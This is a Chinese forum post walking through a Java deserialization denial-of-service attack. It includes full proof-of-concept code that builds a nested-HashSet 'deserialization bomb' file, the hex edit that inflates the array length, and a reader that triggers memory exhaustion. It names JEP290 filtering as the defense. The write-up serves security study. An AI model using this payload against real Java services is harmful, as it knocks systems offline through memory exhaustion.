本帖最后由 山东_朱文鑫 于 2023-6-10 22:09 编辑
家好,我是大白,行必诚,言必信;法必依,治必严。依旧感谢各位小伙伴的一路支持与陪伴。
本篇继续延伸发布渗透篇章,本次主要是对Java反序列拒绝服务攻击,进行的实战案例分享,同样还是对于好多小伙伴来说,这个更加偏向于安服,总体来说确实更加偏向于安服但是对于安全知识的了解以及更加层次的学习甚至使用都比较重要,我们可以一同研习一下渗透的“魅力”。
设备漏洞攻击往往是因为代码参数在配置过程中不规范,不考虑安全性导致的一些漏洞本可以关闭但是却被忽略。
*本篇章将本着学习的态度进行分享,严禁用于个人非法行为以及黑产获取!!!!
前不久看到一段ObjectInputStream代码,发现一处可以利用手工构造的序列化数据来虚耗内存的问题,针对本次发现的问题进行测试漏洞记录。
通过输入简单修改过的序列化数据,可实现占用任意大小的内存,结合其他技巧,可ObjectInputStream.readObject方法卡住,占用的内存不被释放,导致其他正常业务进行内存申请时报OutOfMemoryError异常来进行拒绝服务攻击。
在反序列化数组时, 在ObjectInputStream.readArray 方法中,会从InputStream读取数组长度,并按照数组长度来创建数组实例,那么主要我们对序列化数据中的数组大小进行修改,此处就可以无意义的消耗内存,代码filterCheck这部分就是JEP290的检查点。
在创建好指定长度的数组实例后,就会开始依次从流中读取数组中所存储的对象。
由于我们输入的数据实际没有那么长(例如实际数组长度是123,我们修改后的是MAX_INT-2=2147483645个,没有那么多数据),在读取过程中会出现错误,所以此处需要想办法让其卡住,以至于不出错退出。
通过以上可知可以构造一个特殊的多层HashSet对象叫做反序列化炸弹,使其序列化数据在反序列化过程中一直执行,不会报错,并且使其一直停在第一个对象的readObject流程中。
序列化包构造:
- import java.io.FileNotFoundException;
- import java.io.FileOutputStream;
- import java.io.IOException;
- import java.io.ObjectOutputStream;
- import java.lang.reflect.Field;
- import java.util.HashSet;
- import java.util.Set;
- import java.util.Vector;
- public class test {
- public static void main(String[] args){
- //Effective Java的反序列化炸弹部分构造
- Set<Object> root = new HashSet<>();
- Set<Object> s1 = root;
- Set<Object> s2 = new HashSet<>();
- for (int i = 0; i < 100; i++) {
- Set<Object> t1 = new HashSet<>();
- Set<Object> t2 = new HashSet<>();
- t1.add("foo"); // Make t1 unequal to t2
- s1.add(t1); s1.add(t2);
- s2.add(t1); s2.add(t2);
- s1 = t1;
- s2 = t2;
- }
- FileOutputStream FIS = null;
- try {
- FIS = new FileOutputStream("evil.obj");
- } catch (FileNotFoundException e) {
- e.printStackTrace();
- }
- try {
- ObjectOutputStream OOS = new ObjectOutputStream(FIS);
- Vector<Object> vec = generateObj(root);
- //如果想消耗更多内存可以多加包裹几层vector
- //vec = generateObj(vec);
- OOS.writeObject(vec);
- } catch (IOException e) {
- e.printStackTrace();
- } catch (NoSuchFieldException e) {
- e.printStackTrace();
- } catch (IllegalAccessException e) {
- e.printStackTrace();
- }
- }
- private static Vector<Object> generateObj(Object root) throws NoSuchFieldException, IllegalAccessException {
- Vector<Object> vec = new Vector<>();
- //为了后面方便修改替换,这里把vector的内部数组长度改为123
- Object[] objects1 = new Object[123];
- //设置数组的第一个元素为
- objects1[0]=root;
- Field elementData = vec.getClass().getDeclaredField("elementData");
- elementData.setAccessible(true);
- elementData.set(vec,objects1);
- return vec;
- }
- }
复制代码
2.把Object数组的长度从123(16进制为00 00 00 7B)改成一个比较大的数(java最大允许的数组长度为MAX_INT-2=2147483645,十六进制为7F FF FF FD)
通过HxD修改序列化数据中的数组长度,修改前:
修改后:
反序列化:
- import java.io.*;
- public class testRead {
- public static void main(String[] args){
- try {
- System.out.println("Start ReadObject");
- FileInputStream FIS = new FileInputStream("evil.obj");
- ObjectInputStream OIS = new ObjectInputStream(FIS);
- OIS.readObject();
- } catch (FileNotFoundException e) {
- e.printStackTrace();
- } catch (IOException e) {
- e.printStackTrace();
- } catch (ClassNotFoundException e) {
- e.printStackTrace();
- }
- }
- }
复制代码
调试时可以看到调用Array.newInstance创建大小为2147483645的数组,单次占用空间大约8GB,通过包裹多层Vector可以使占用大小不断扩大。
之后在执行反序列化数组中元素时,会一直在反序列化炸弹的反序列化流程中。
运行结果:
1.给-Xmx8100M的条件下执行会直接OOM
2.给-Xmx16100M的情况下会在readObject时卡住,并占用大量内存:
*本篇章将本着学习的态度进行分享,严禁用于个人非法行为以及黑产获取!!!!
复现完成,此漏洞可以过配置JEP290机制进行防御,因为JEP290默认不开所以很容易出现这种点位的漏洞问题。
以上就是本次的渗透安全之Java反序列拒绝服务攻击分享,后续我可以整理一下JAVA的反序列化炸弹的原理结构进行详解供各位小伙伴进行学习,感谢大佬们的参阅,此贴先到这里后续会带上更加优质的帖子,感谢大家!
励志分享超清壁纸语句~~:
内既坚实,则外界之九千九百九十九种恶口,当亦如秋风一吹,青蝇绝响。-鲁迅
好的今天就到这里,老样子,感谢各位大神的参阅,孩子为了挣豆子不容易,孩子家里穷没豆子吃饭了!!! |